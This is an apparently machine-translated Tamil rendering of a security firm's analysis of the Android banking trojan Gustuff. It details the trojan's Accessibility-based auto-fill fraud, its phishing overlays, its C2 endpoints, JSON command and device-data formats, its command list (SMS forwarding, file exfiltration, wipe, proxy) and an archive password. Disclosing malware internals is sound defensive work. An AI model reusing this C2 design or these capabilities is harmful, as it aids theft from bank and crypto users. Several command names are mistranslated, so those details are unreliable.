உங்கள் கணக்குகளில் இருந்து ஆண்ட்ராய்டு ட்ரோஜன் கஸ்டஃப் எவ்வாறு க்ரீமை (ஃபியட் மற்றும் கிரிப்டோ) நீக்குகிறது

உங்கள் கணக்குகளில் இருந்து ஆண்ட்ராய்டு ட்ரோஜன் கஸ்டஃப் எவ்வாறு க்ரீமை (ஃபியட் மற்றும் கிரிப்டோ) நீக்குகிறது

மறுநாள் குரூப்-ஐபி தகவல் மொபைல் ஆண்ட்ராய்டு ட்ரோஜன் கஸ்டஃப் செயல்பாடு பற்றி. இது சர்வதேச சந்தைகளில் பிரத்தியேகமாக வேலை செய்கிறது, 100 பெரிய வெளிநாட்டு வங்கிகளின் வாடிக்கையாளர்களைத் தாக்குகிறது, மொபைல் 32 கிரிப்டோ வாலட்களின் பயனர்கள் மற்றும் பெரிய ஈ-காமர்ஸ் வளங்களைத் தாக்குகிறது. ஆனால் கஸ்டஃப் டெவலப்பர் பெஸ்ட்ஆஃபர் என்ற புனைப்பெயரில் ரஷ்ய மொழி பேசும் சைபர் கிரைமினல் ஆவார். சமீப காலம் வரை, அவர் தனது ட்ரோஜனை "அறிவும் அனுபவமும் உள்ளவர்களுக்கு ஒரு தீவிர தயாரிப்பு" என்று பாராட்டினார்.

குழு-IB இல் தீங்கிழைக்கும் குறியீடு பகுப்பாய்வு நிபுணர் இவான் பிசரேவ் அவரது ஆராய்ச்சியில், கஸ்டஃப் எவ்வாறு செயல்படுகிறது மற்றும் அதன் ஆபத்துகள் என்ன என்பதைப் பற்றி விரிவாகப் பேசுகிறார்.

குஸ்டஃப் யாருக்காக வேட்டையாடுகிறார்?

Gustuff முழு தானியங்கு செயல்பாடுகளைக் கொண்ட புதிய தலைமுறை தீம்பொருளைச் சேர்ந்தது. டெவலப்பரின் கூற்றுப்படி, ட்ரோஜன் ஆண்டிபாட் தீம்பொருளின் புதிய மற்றும் மேம்படுத்தப்பட்ட பதிப்பாக மாறியுள்ளது, இது நவம்பர் 2017 முதல் ஆண்ட்ராய்டு போன்களைத் தாக்கி, ஃபிஷிங் வலைப் படிவங்கள் மூலம் நன்கு அறியப்பட்ட சர்வதேச வங்கிகள் மற்றும் கட்டண முறைகளின் மொபைல் பயன்பாடுகளாக மாறிவிட்டது. கஸ்டஃப் பாட் வாடகை விலை மாதத்திற்கு $800 என்று Bestoffer தெரிவித்துள்ளது.

பாங்க் ஆஃப் அமெரிக்கா, பாங்க் ஆஃப் ஸ்காட்லாந்து, ஜேபி மோர்கன், வெல்ஸ் பார்கோ, கேபிடல் ஒன், டிடி பேங்க், பிஎன்சி பேங்க் மற்றும் கிரிப்டோ வாலட்கள் போன்ற மிகப்பெரிய வங்கிகளின் மொபைல் பயன்பாடுகளைப் பயன்படுத்தும் வாடிக்கையாளர்களை ட்ரோஜன் இலக்காகக் கொண்டிருப்பதாக கஸ்டஃப் மாதிரியின் பகுப்பாய்வு காட்டுகிறது. Bitcoin Wallet, BitPay, Cryptopay, Coinbase போன்றவை.

முதலில் கிளாசிக் வங்கி ட்ரோஜனாக உருவாக்கப்பட்டது, அதன் தற்போதைய பதிப்பில் கஸ்டஃப் தாக்குதலுக்கான சாத்தியமான இலக்குகளின் பட்டியலை கணிசமாக விரிவுபடுத்தியுள்ளது. வங்கிகள், ஃபின்டெக் நிறுவனங்கள் மற்றும் கிரிப்டோ சேவைகளுக்கான ஆண்ட்ராய்டு பயன்பாடுகளுக்கு கூடுதலாக, கஸ்டஃப் சந்தைப் பயன்பாடுகள், ஆன்லைன் கடைகள், கட்டண முறைகள் மற்றும் உடனடி தூதர்களைப் பயன்படுத்துபவர்களை இலக்காகக் கொண்டுள்ளது. குறிப்பாக, PayPal, Western Union, eBay, Walmart, Skype, WhatsApp, Gett Taxi, Revolut மற்றும் பல.

நுழைவு புள்ளி: வெகுஜன தொற்றுக்கான கணக்கீடு

APKகளுக்கான இணைப்புகளுடன் SMS அஞ்சல் மூலம் ஆண்ட்ராய்டு ஸ்மார்ட்போன்களில் ஊடுருவலின் "கிளாசிக்" திசையன் மூலம் Gustuff வகைப்படுத்தப்படுகிறது. சேவையகத்தின் கட்டளையின்படி ஆண்ட்ராய்டு சாதனம் ட்ரோஜனால் பாதிக்கப்பட்டால், பாதிக்கப்பட்ட தொலைபேசியின் தொடர்பு தரவுத்தளத்தின் மூலமாகவோ அல்லது சேவையக தரவுத்தளத்தின் மூலமாகவோ கஸ்டஃப் மேலும் பரவக்கூடும். Gustuff இன் செயல்பாடு பெருமளவிலான தொற்று மற்றும் அதன் ஆபரேட்டர்களின் வணிகத்தின் அதிகபட்ச மூலதனமயமாக்கலுக்காக வடிவமைக்கப்பட்டுள்ளது - இது முறையான மொபைல் வங்கி பயன்பாடுகள் மற்றும் கிரிப்டோ வாலெட்டுகளில் ஒரு தனித்துவமான "தானாக நிரப்புதல்" செயல்பாட்டைக் கொண்டுள்ளது, இது பணத்தை விரைவாகவும் அளவிடவும் அனுமதிக்கிறது.

ட்ரோஜனின் ஆய்வு, குறைபாடுகள் உள்ளவர்களுக்கான சேவையான அணுகல் சேவையைப் பயன்படுத்தி தன்னியக்க நிரப்புதல் செயல்பாடு செயல்படுத்தப்பட்டது என்பதைக் காட்டுகிறது. இந்த ஆண்ட்ராய்டு சேவையைப் பயன்படுத்தி பிற பயன்பாடுகளின் சாளர உறுப்புகளுடன் தொடர்புகொள்வதில் இருந்து பாதுகாப்பை வெற்றிகரமாக கடந்து செல்லும் முதல் ட்ரோஜன் கஸ்டஃப் அல்ல. இருப்பினும், கார் ஃபில்லருடன் இணைந்து அணுகல் சேவையைப் பயன்படுத்துவது மிகவும் அரிதானது.

பாதிக்கப்பட்டவரின் தொலைபேசியில் பதிவிறக்கம் செய்த பிறகு, அணுகல் சேவையைப் பயன்படுத்தி Gustuff, பிற பயன்பாடுகளின் சாளர உறுப்புகளுடன் (வங்கி, கிரிப்டோகரன்சி, அத்துடன் ஆன்லைன் ஷாப்பிங், செய்தி அனுப்புதல் போன்றவை) தொடர்பு கொள்ள முடியும், தாக்குபவர்களுக்குத் தேவையான செயல்களைச் செய்கிறது. . எடுத்துக்காட்டாக, சேவையகத்தின் கட்டளையின்படி, ஒரு ட்ரோஜன் பொத்தான்களை அழுத்தி வங்கி பயன்பாடுகளில் உள்ள உரை புலங்களின் மதிப்புகளை மாற்ற முடியும். அணுகல்தன்மை சேவை பொறிமுறையைப் பயன்படுத்துவது, முந்தைய தலைமுறை மொபைல் ட்ரோஜான்களை எதிர்கொள்ள வங்கிகளால் பயன்படுத்தப்படும் பாதுகாப்பு வழிமுறைகளை புறக்கணிக்க ட்ரோஜனை அனுமதிக்கிறது, அத்துடன் ஆண்ட்ராய்டு OS இன் புதிய பதிப்புகளில் Google ஆல் செயல்படுத்தப்பட்ட பாதுகாப்புக் கொள்கையில் மாற்றங்களையும் செய்கிறது. எனவே, Google Protect பாதுகாப்பை முடக்குவது எப்படி என்பதை Gustuff "தெரியும்": ஆசிரியரின் கூற்றுப்படி, இந்த செயல்பாடு 70% வழக்குகளில் வேலை செய்கிறது.

உங்கள் கணக்குகளில் இருந்து ஆண்ட்ராய்டு ட்ரோஜன் கஸ்டஃப் எவ்வாறு க்ரீமை (ஃபியட் மற்றும் கிரிப்டோ) நீக்குகிறது

முறையான மொபைல் பயன்பாடுகளின் ஐகான்களுடன் போலி புஷ் அறிவிப்புகளையும் கஸ்டஃப் காட்டலாம். பயனர் PUSH அறிவிப்பைக் கிளிக் செய்து, சர்வரிலிருந்து பதிவிறக்கம் செய்யப்பட்ட ஃபிஷிங் சாளரத்தைப் பார்க்கிறார், அங்கு அவர் கோரப்பட்ட வங்கி அட்டை அல்லது கிரிப்டோ வாலட் தரவை உள்ளிடுவார். மற்றொரு Gustuff சூழ்நிலையில், PUSH அறிவிப்பு காட்டப்பட்ட பயன்பாடு திறக்கப்பட்டது. இந்த வழக்கில், தீம்பொருள், அணுகல் சேவை வழியாக சேவையகத்திலிருந்து கட்டளையிடப்பட்டால், மோசடியான பரிவர்த்தனைக்கான வங்கி விண்ணப்பத்தின் படிவப் புலங்களை நிரப்ப முடியும்.

பாதிக்கப்பட்ட சாதனத்தைப் பற்றிய தகவலை சேவையகத்திற்கு அனுப்புதல், SMS செய்திகளைப் படிக்க/அனுப்பும் திறன், USSD கோரிக்கைகளை அனுப்புதல், SOCKS5 ப்ராக்ஸியைத் தொடங்குதல், இணைப்பைப் பின்தொடர்தல், கோப்புகளை அனுப்புதல் (ஆவணங்களின் புகைப்பட ஸ்கேன், ஸ்கிரீன்ஷாட்கள், புகைப்படங்கள் உட்பட) ஆகியவையும் Gustuff இன் செயல்பாட்டில் அடங்கும். சேவையகம், சாதனத்தை தொழிற்சாலை அமைப்புகளுக்கு மீட்டமைக்கவும்.

தீம்பொருள் பகுப்பாய்வு

தீங்கிழைக்கும் பயன்பாட்டை நிறுவும் முன், Android OS ஆனது Gustuff கோரியுள்ள உரிமைகளின் பட்டியலைக் கொண்ட ஒரு சாளரத்தை பயனருக்குக் காண்பிக்கும்:

உங்கள் கணக்குகளில் இருந்து ஆண்ட்ராய்டு ட்ரோஜன் கஸ்டஃப் எவ்வாறு க்ரீமை (ஃபியட் மற்றும் கிரிப்டோ) நீக்குகிறது
பயனரின் ஒப்புதலைப் பெற்ற பின்னரே பயன்பாடு நிறுவப்படும். பயன்பாட்டைத் தொடங்கிய பிறகு, ட்ரோஜன் பயனருக்கு ஒரு சாளரத்தைக் காண்பிக்கும்:

உங்கள் கணக்குகளில் இருந்து ஆண்ட்ராய்டு ட்ரோஜன் கஸ்டஃப் எவ்வாறு க்ரீமை (ஃபியட் மற்றும் கிரிப்டோ) நீக்குகிறது
அதன் பிறகு, அது அதன் ஐகானை அகற்றும்.

ஆசிரியரின் கூற்றுப்படி, எஃப்.டி.டியில் இருந்து ஒரு பேக்கர் மூலம் கஸ்டஃப் நிரம்பியுள்ளது. தொடக்கத்திற்குப் பிறகு, கட்டளைகளைப் பெற பயன்பாடு அவ்வப்போது CnC சேவையகத்தைத் தொடர்பு கொள்கிறது. நாங்கள் ஆய்வு செய்த பல கோப்புகள் கட்டுப்பாட்டு சேவையகமாக ஐபி முகவரியைப் பயன்படுத்தியது 88.99.171[.]105 (இனிமேல் நாம் அதைக் குறிப்போம் <%CnC%>).

தொடங்கப்பட்ட பிறகு, நிரல் சேவையகத்திற்கு செய்திகளை அனுப்பத் தொடங்குகிறது http://<%CnC%>/api/v1/get.php.

பின்வரும் வடிவத்தில் பதில் JSON ஆக இருக்கும் என்று எதிர்பார்க்கப்படுகிறது:

{
    "results" : "OK",
    "command":{
        "id": "<%id%>",
        "command":"<%command%>",
        "timestamp":"<%Server Timestamp%>",
        "params":{
		<%Command parameters as JSON%>
        },
    },
}

ஒவ்வொரு முறையும் பயன்பாட்டை அணுகும்போது, ​​அது பாதிக்கப்பட்ட சாதனத்தைப் பற்றிய தகவலை அனுப்புகிறது. செய்தி வடிவம் கீழே காட்டப்பட்டுள்ளது. துறைகள் என்பது குறிப்பிடத்தக்கது முழு, கூடுதல், பயன்பாடுகள் и அனுமதி - விருப்பமானது மற்றும் CnC இலிருந்து கோரிக்கை கட்டளையின் போது மட்டுமே அனுப்பப்படும்.

{
    "info":
    {
        "info":
        {
            "cell":<%Sim operator name%>,
            "country":<%Country ISO%>,
            "imei":<%IMEI%>,
            "number":<%Phone number%>,
            "line1Number":<%Phone number%>,
            "advertisementId":<%ID%>
        },
        "state":
        {
            "admin":<%Has admin rights%>,
            "source":<%String%>,
            "needPermissions":<%Application needs permissions%>,
            "accesByName":<%Boolean%>,
            "accesByService":<%Boolean%>,
            "safetyNet":<%String%>,
            "defaultSmsApp":<%Default Sms Application%>,
            "isDefaultSmsApp":<%Current application is Default Sms Application%>,
            "dateTime":<%Current date time%>,
            "batteryLevel":<%Battery level%>
        },
        "socks":
        {
            "id":<%Proxy module ID%>,
            "enabled":<%Is enabled%>,
            "active":<%Is active%>
        },
        "version":
        {
            "versionName":<%Package Version Name%>,
            "versionCode":<%Package Version Code%>,
            "lastUpdateTime":<%Package Last Update Time%>,
            "tag":<%Tag, default value: "TAG"%>,
            "targetSdkVersion":<%Target Sdk Version%>,
            "buildConfigTimestamp":1541309066721
        },
    },
    "full":
    {
        "model":<%Device Model%>,
        "localeCountry":<%Country%>,
        "localeLang":<%Locale language%>,
        "accounts":<%JSON array, contains from "name" and "type" of accounts%>,
        "lockType":<%Type of lockscreen password%>
    },
    "extra":
    {
        "serial":<%Build serial number%>,
        "board":<%Build Board%>,
        "brand":<%Build Brand%>,
        "user":<%Build User%>,
        "device":<%Build Device%>,
        "display":<%Build Display%>,
        "id":<%Build ID%>,
        "manufacturer":<%Build manufacturer%>,
        "model":<%Build model%>,
        "product":<%Build product%>,
        "tags":<%Build tags%>,
        "type":<%Build type%>,
        "imei":<%imei%>,
        "imsi":<%imsi%>,
        "line1number":<%phonenumber%>,
        "iccid":<%Sim serial number%>,
        "mcc":<%Mobile country code of operator%>,
        "mnc":<%Mobile network codeof operator%>,
        "cellid":<%GSM-data%>,
        "lac":<%GSM-data%>,
        "androidid":<%Android Id%>,
        "ssid":<%Wi-Fi SSID%>
    },
    "apps":{<%List of installed applications%>},
    "permission":<%List of granted permissions%>
} 

உள்ளமைவுத் தரவைச் சேமித்தல்

கஸ்டஃப் செயல்பாட்டில் முக்கியமான தகவல்களை விருப்பக் கோப்பில் சேமிக்கிறது. கோப்பின் பெயர் மற்றும் அதில் உள்ள அளவுருக்களின் பெயர்கள், சரத்திலிருந்து MD5 தொகையைக் கணக்கிடுவதன் விளைவாகும். 15413090667214.6.1<%name%>அங்கு <%name%> - ஆரம்ப பெயர் மதிப்பு. பெயர் உருவாக்கும் செயல்பாட்டின் பைதான் விளக்கம்:

 nameGenerator(input):
    output = md5("15413090667214.6.1" + input) 

பின்வருவனவற்றில் நாம் அதைக் குறிப்போம் பெயர் ஜெனரேட்டர்(உள்ளீடு).
எனவே முதல் கோப்பு பெயர்: பெயர் ஜெனரேட்டர்("API_SERVER_LIST"), இது பின்வரும் பெயர்களைக் கொண்ட மதிப்புகளைக் கொண்டுள்ளது:

மாறி பெயர் மதிப்பு
பெயர் ஜெனரேட்டர்("API_SERVER_LIST") வரிசை வடிவில் CnC முகவரிகளின் பட்டியலைக் கொண்டுள்ளது.
பெயர் ஜெனரேட்டர்("API_SERVER_URL") CnC முகவரியைக் கொண்டுள்ளது.
பெயர் ஜெனரேட்டர்("SMS_UPLOAD") கொடி முன்னிருப்பாக அமைக்கப்பட்டுள்ளது. கொடி அமைக்கப்பட்டால், CnC க்கு SMS செய்திகளை அனுப்புகிறது.
பெயர் ஜெனரேட்டர்("SMS_ROOT_NUMBER") பாதிக்கப்பட்ட சாதனத்தால் பெறப்பட்ட SMS செய்திகள் அனுப்பப்படும் தொலைபேசி எண். இயல்புநிலை பூஜ்யமாகும்.
பெயர் ஜெனரேட்டர்("SMS_ROOT_NUMBER_RESEND") கொடி இயல்பாகவே அழிக்கப்பட்டது. நிறுவப்பட்டால், பாதிக்கப்பட்ட சாதனம் ஒரு எஸ்எம்எஸ் பெறும்போது, ​​அது ரூட் எண்ணுக்கு அனுப்பப்படும்.
பெயர் ஜெனரேட்டர்("DEFAULT_APP_SMS") கொடி இயல்பாகவே அழிக்கப்பட்டது. இந்தக் கொடி அமைக்கப்பட்டால், பயன்பாடு உள்வரும் SMS செய்திகளைச் செயல்படுத்தும்.
பெயர் ஜெனரேட்டர்("DEFAULT_ADMIN") கொடி இயல்பாகவே அழிக்கப்பட்டது. கொடி அமைக்கப்பட்டால், பயன்பாட்டிற்கு நிர்வாகி உரிமைகள் உள்ளன.
பெயர் ஜெனரேட்டர்("DEFAULT_ACCESSIBILITY") கொடி இயல்பாகவே அழிக்கப்பட்டது. கொடி அமைக்கப்பட்டால், அணுகல் சேவையைப் பயன்படுத்தும் சேவை இயங்கும்.
பெயர் ஜெனரேட்டர்("APPS_CONFIG") ஒரு குறிப்பிட்ட பயன்பாட்டுடன் தொடர்புடைய அணுகல்தன்மை நிகழ்வு தூண்டப்படும்போது செய்ய வேண்டிய செயல்களின் பட்டியலைக் கொண்ட ஒரு JSON பொருள்.
பெயர் ஜெனரேட்டர்("APPS_INSTALLED") சாதனத்தில் நிறுவப்பட்ட பயன்பாடுகளின் பட்டியலைச் சேமிக்கிறது.
பெயர் ஜெனரேட்டர்("IS_FIST_RUN") முதல் தொடக்கத்தில் கொடி மீட்டமைக்கப்பட்டது.
பெயர் ஜெனரேட்டர்("UNIQUE_ID") தனித்துவமான அடையாளங்காட்டியைக் கொண்டுள்ளது. போட் முதல் முறையாக ஏவப்படும் போது உருவாக்கப்பட்டது.

சேவையகத்திலிருந்து கட்டளைகளை செயலாக்குவதற்கான தொகுதி

பயன்பாடு CnC சேவையகங்களின் முகவரிகளை குறியிடப்பட்ட வரிசையின் வடிவத்தில் சேமிக்கிறது Base85 கோடுகள். பொருத்தமான கட்டளையைப் பெற்றவுடன் CnC சேவையகங்களின் பட்டியலை மாற்றலாம், இதில் முகவரிகள் முன்னுரிமை கோப்பில் சேமிக்கப்படும்.

கோரிக்கைக்கு பதிலளிக்கும் விதமாக, சேவையகம் பயன்பாட்டிற்கு ஒரு கட்டளையை அனுப்புகிறது. கட்டளைகள் மற்றும் அளவுருக்கள் JSON வடிவத்தில் வழங்கப்படுகின்றன என்பது கவனிக்கத்தக்கது. பயன்பாடு பின்வரும் கட்டளைகளை செயலாக்க முடியும்:

அணி விளக்கம்
முன்னோக்கி தொடக்கம் பாதிக்கப்பட்ட சாதனத்தால் பெறப்பட்ட SMS செய்திகளை CnC சேவையகத்திற்கு அனுப்பத் தொடங்குங்கள்.
முன்னோக்கி நிறுத்து பாதிக்கப்பட்ட சாதனத்தால் பெறப்பட்ட SMS செய்திகளை CnC சேவையகத்திற்கு அனுப்புவதை நிறுத்தவும்.
ussdRun USSD கோரிக்கையை செயல்படுத்தவும். நீங்கள் USSD கோரிக்கையைச் செய்ய வேண்டிய எண் JSON புலத்தில் "எண்" இல் உள்ளது.
எஸ்எம்எஸ் அனுப்பவும் ஒரு எஸ்எம்எஸ் செய்தியை அனுப்பவும் (தேவைப்பட்டால், செய்தி பகுதிகளாக பிரிக்கப்பட்டுள்ளது). ஒரு அளவுருவாக, கட்டளையானது "to" புலங்களைக் கொண்ட JSON பொருளை எடுக்கும் - இலக்கு எண் மற்றும் "உடல்" - செய்தியின் உடல்.
sendSmsAb பாதிக்கப்பட்ட சாதனத்தின் தொடர்பு பட்டியலில் உள்ள அனைவருக்கும் SMS செய்திகளை அனுப்பவும் (தேவைப்பட்டால், செய்தி "பிரிவு" ஆகும்). செய்திகளை அனுப்புவதற்கு இடையிலான இடைவெளி 10 வினாடிகள். செய்தியின் உடல் JSON புலத்தில் "உடல்" உள்ளது
அனுப்புSmsMass கட்டளை அளவுருக்களில் குறிப்பிடப்பட்டுள்ள தொடர்புகளுக்கு SMS செய்திகளை அனுப்பவும் (தேவைப்பட்டால், செய்தி "பிரிவு" ஆகும்). செய்திகளை அனுப்புவதற்கு இடையிலான இடைவெளி 10 வினாடிகள். ஒரு அளவுருவாக, கட்டளை ஒரு JSON வரிசையை ("sms" புலம்) எடுக்கும், அதன் கூறுகள் "to" புலங்களைக் கொண்டிருக்கும் - இலக்கு எண் மற்றும் "உடல்" - செய்தியின் உடல்.
மாற்று சேவையகம் இந்தக் கட்டளையானது “url” விசையை அளவுருவாகக் கொண்டு ஒரு மதிப்பை எடுக்கலாம் - பிறகு, போட் nameGenerator (“SERVER_URL”), அல்லது “array” இன் மதிப்பை மாற்றும் - பின்னர் bot வரிசையை nameGeneratorக்கு எழுதும் (“API_SERVER_LIST”) இதனால், பயன்பாடு CnC சேவையகங்களின் முகவரியை மாற்றுகிறது.
நிர்வாகி எண் கட்டளை ஒரு ரூட் எண்ணுடன் வேலை செய்ய வடிவமைக்கப்பட்டுள்ளது. கட்டளை பின்வரும் அளவுருக்கள் கொண்ட JSON பொருளை ஏற்றுக்கொள்கிறது: “எண்” — பெயர்ஜெனரேட்டரை (“ROOT_NUMBER”) பெறப்பட்ட மதிப்புக்கு மாற்றவும், “மீண்டும் அனுப்பு” — பெயர் ஜெனரேட்டரை மாற்றவும்(“SMS_ROOT_NUMBER_RESEND”), “sendId” — nameGeneratorக்கு அனுப்பு(“ROOT_NUMBER” ) தனிப்பட்ட ஐடி.
updateInfo பாதிக்கப்பட்ட சாதனத்தைப் பற்றிய தகவலை சேவையகத்திற்கு அனுப்பவும்.
தரவுகளை துடைத்தழி கட்டளை பயனர் தரவை நீக்கும் நோக்கம் கொண்டது. பயன்பாடு எந்த பெயரில் தொடங்கப்பட்டது என்பதைப் பொறுத்து, சாதனம் மறுதொடக்கம் (முதன்மை பயனர்) மூலம் தரவு முற்றிலும் அழிக்கப்படும் அல்லது பயனர் தரவு மட்டுமே நீக்கப்படும் (இரண்டாம் பயனர்).
சாக்ஸ்ஸ்டார்ட் ப்ராக்ஸி தொகுதியை இயக்கவும். தொகுதியின் செயல்பாடு ஒரு தனி பிரிவில் விவரிக்கப்பட்டுள்ளது.
சாக்ஸ்ஸ்டாப் ப்ராக்ஸி தொகுதியை நிறுத்து.
திறந்த இணைப்பு இணைப்பைப் பின்தொடரவும். இணைப்பு "url" விசையின் கீழ் JSON அளவுருவில் அமைந்துள்ளது. இணைப்பைத் திறக்க “android.intent.action.VIEW” பயன்படுத்தப்படுகிறது.
அனைத்து எஸ்எம்எஸ் பதிவேற்றவும் சாதனம் பெற்ற அனைத்து SMS செய்திகளையும் சேவையகத்திற்கு அனுப்பவும்.
அனைத்து புகைப்படங்களையும் பதிவேற்றவும் பாதிக்கப்பட்ட சாதனத்திலிருந்து படங்களை URL க்கு அனுப்பவும். URL ஒரு அளவுருவாக வருகிறது.
கோப்பை பதிவேற்றவும் பாதிக்கப்பட்ட சாதனத்திலிருந்து URL க்கு கோப்பை அனுப்பவும். URL ஒரு அளவுருவாக வருகிறது.
ஃபோன் எண்களைப் பதிவேற்றவும் உங்கள் தொடர்பு பட்டியலிலிருந்து தொலைபேசி எண்களை சேவையகத்திற்கு அனுப்பவும். "ab" விசையுடன் JSON பொருள் மதிப்பு ஒரு அளவுருவாகப் பெறப்பட்டால், பயன்பாடு தொலைபேசி புத்தகத்திலிருந்து தொடர்புகளின் பட்டியலைப் பெறுகிறது. "sms" விசையுடன் JSON பொருள் ஒரு அளவுருவாகப் பெறப்பட்டால், SMS செய்திகளை அனுப்பியவர்களிடமிருந்து தொடர்புகளின் பட்டியலை பயன்பாடு படிக்கும்.
காப்பகத்தை மாற்றவும் பயன்பாடு "url" விசையைப் பயன்படுத்தி அளவுருவாக வரும் முகவரியிலிருந்து கோப்பைப் பதிவிறக்குகிறது. பதிவிறக்கம் செய்யப்பட்ட கோப்பு "archive.zip" என்ற பெயரில் சேமிக்கப்படுகிறது. "b5jXh37gxgHBrZhQ4j3D" என்ற காப்பக கடவுச்சொல்லைப் பயன்படுத்தி, ஆப்ஸ் கோப்பை அன்சிப் செய்யும். அன்ஜிப் செய்யப்பட்ட கோப்புகள் [வெளிப்புற சேமிப்பு]/hgps கோப்பகத்தில் சேமிக்கப்படும். இந்த கோப்பகத்தில், பயன்பாடு வலை போலிகளை சேமிக்கிறது (கீழே விவரிக்கப்பட்டுள்ளது).
செயல்கள் கட்டளை அதிரடி சேவையுடன் பணிபுரிய வடிவமைக்கப்பட்டுள்ளது, இது ஒரு தனி பிரிவில் விவரிக்கப்பட்டுள்ளது.
சோதனை எதுவும் செய்யவில்லை.
பதிவிறக்க ரிமோட் சர்வரிலிருந்து ஒரு கோப்பைப் பதிவிறக்கம் செய்து அதை "பதிவிறக்கங்கள்" கோப்பகத்தில் சேமித்து வைப்பதே கட்டளை. URL மற்றும் கோப்பு பெயர் முறையே JSON அளவுரு பொருளில் உள்ள அளவுருவாக வரும்: "url" மற்றும் "fileName".
நீக்க "பதிவிறக்கங்கள்" கோப்பகத்திலிருந்து ஒரு கோப்பை நீக்குகிறது. கோப்பு பெயர் "fileName" விசையுடன் JSON அளவுருவில் வருகிறது. நிலையான கோப்பு பெயர் "tmp.apk".
அறிவிப்பு மேலாண்மை சேவையகத்தால் வரையறுக்கப்பட்ட விளக்கம் மற்றும் தலைப்பு உரைகளுடன் ஒரு அறிவிப்பைக் காட்டு.

கட்டளை வடிவம் அறிவிப்பு:

{
    "results" : "OK",
    "command":{
    "id": <%id%>,
    "command":"notification",
    "timestamp":<%Server Timestamp%>,
    "params":{
        "openApp":<%Open original app or not%>,
        "array":[
                      {"title":<%Title text%>,
                      "desc":<%Description text%>,
                      "app":<%Application name%>}
                   ]
                   },
        },
}

புலத்தில் குறிப்பிடப்பட்டுள்ள பயன்பாட்டினால் உருவாக்கப்பட்ட அறிவிப்புகளைப் போலவே விசாரணையின் கீழ் உள்ள கோப்பினால் உருவாக்கப்பட்ட அறிவிப்பு உள்ளது. பயன்பாட்டை. புல மதிப்பு என்றால் openApp - உண்மை, அறிவிப்பு திறக்கப்படும்போது, ​​புலத்தில் குறிப்பிடப்பட்ட பயன்பாடு தொடங்கப்படும் பயன்பாட்டை. புல மதிப்பு என்றால் openApp - பொய், பின்னர்:

  • ஒரு ஃபிஷிங் சாளரம் திறக்கிறது, அதன் உள்ளடக்கங்கள் கோப்பகத்திலிருந்து பதிவிறக்கம் செய்யப்படுகின்றன <%வெளிப்புற சேமிப்பு%>/hgps/<%filename%>
  • ஒரு ஃபிஷிங் சாளரம் திறக்கிறது, அதன் உள்ளடக்கங்கள் சேவையகத்திலிருந்து பதிவிறக்கம் செய்யப்படுகின்றன <%url%>?id=<%Bot id%>&app=<%பயன்பாட்டின் பெயர்%>
  • ஒரு ஃபிஷிங் சாளரம் திறக்கிறது, அது ஒரு கூகிள் பிளே கார்டாக மாறுவேடமிட்டு, கார்டு விவரங்களை உள்ளிடுவதற்கான வாய்ப்பைக் கொண்டுள்ளது.

பயன்பாடு எந்த கட்டளையின் முடிவையும் அனுப்புகிறது <%CnC%>set_state.php பின்வரும் வடிவத்தில் JSON பொருளாக:

{
    "command":
    {
        "command":<%command%>,
        "id":<%command_id%>,
        "state":<%command_state%>
    }
    "id":<%bot_id%>
}

செயல்கள் சேவை
பயன்பாட்டு செயல்முறைகளை உள்ளடக்கிய கட்டளைகளின் பட்டியல் நடவடிக்கை. ஒரு கட்டளை பெறப்படும் போது, ​​கட்டளை செயலாக்க தொகுதி நீட்டிக்கப்பட்ட கட்டளையை இயக்க இந்த சேவையை அணுகுகிறது. சேவை JSON பொருளை அளவுருவாக ஏற்றுக்கொள்கிறது. சேவை பின்வரும் கட்டளைகளை இயக்க முடியும்:

1. PARAMS_ACTION - அத்தகைய கட்டளையைப் பெறும்போது, ​​சேவை முதலில் JSON அளவுருவிலிருந்து வகை விசையின் மதிப்பைப் பெறுகிறது, இது பின்வருமாறு:

  • சேவை தகவல் - துணைக் கட்டளை JSON அளவுருவிலிருந்து விசை மூலம் மதிப்பைப் பெறுகிறது முக்கியமில்லை. கொடி உண்மையாக இருந்தால், பயன்பாடு கொடியை அமைக்கிறது FLAG_ISOLATED_PROCESS அணுகல் சேவையைப் பயன்படுத்தி ஒரு சேவைக்கு. இந்த வழியில் சேவை ஒரு தனி செயல்பாட்டில் தொடங்கப்படும்.
  • ரூட் — தற்போது கவனம் செலுத்தும் சாளரத்தைப் பற்றிய தகவலைப் பெற்று சேவையகத்திற்கு அனுப்பவும். AccessibilityNodeInfo வகுப்பைப் பயன்படுத்தி பயன்பாடு தகவலைப் பெறுகிறது.
  • நிர்வாகம் - நிர்வாகி உரிமைகளைக் கோருங்கள்.
  • தாமதம் — “தரவு” விசைக்கான அளவுருவில் குறிப்பிடப்பட்டுள்ள மில்லி விநாடிகளின் எண்ணிக்கைக்கான செயல்கள் சேவையை இடைநிறுத்தவும்.
  • விண்டோஸ் - பயனருக்குத் தெரியும் சாளரங்களின் பட்டியலை அனுப்பவும்.
  • நிறுவ - பாதிக்கப்பட்ட சாதனத்தில் பயன்பாட்டை நிறுவவும். காப்பகத் தொகுப்பின் பெயர் "fileName" விசையில் உள்ளது. காப்பகமே பதிவிறக்கங்கள் கோப்பகத்தில் உள்ளது.
  • உலக - துணைக் கட்டளை தற்போதைய சாளரத்தில் இருந்து செல்ல வேண்டும்:
    • விரைவு அமைப்புகள் மெனுவில்
    • முன்பு
    • வீடு
    • அறிவிப்புகளுக்கு
    • சமீபத்தில் திறக்கப்பட்ட பயன்பாடுகள் சாளரத்திற்கு

  • வெளியீட்டு - பயன்பாட்டைத் தொடங்கவும். பயன்பாட்டின் பெயர் விசை மூலம் அளவுருவாக வருகிறது தகவல்கள்.
  • ஒலிகள் - ஒலி பயன்முறையை அமைதிக்கு மாற்றவும்.
  • திறக்க — திரை மற்றும் விசைப்பலகையின் பின்னொளியை முழு பிரகாசத்திற்கு இயக்குகிறது. பயன்பாடு இந்த செயலை WakeLock ஐப் பயன்படுத்தி செய்கிறது, [Application lable]: INFO ஒரு குறிச்சொல்லாக குறிப்பிடுகிறது
  • அனுமதி மேலடுக்கு — செயல்பாடு செயல்படுத்தப்படவில்லை (கட்டளை செயலாக்கத்திற்கான பதில் {"செய்தி":"ஆதரவு இல்லை"} அல்லது {"message":"low sdk"})
  • சைகை — செயல்பாடு செயல்படுத்தப்படவில்லை (கட்டளை செயலாக்கத்திற்கான பதில் {"message":"ஆதரவு இல்லை"}அல்லது {"message":"Low API"})
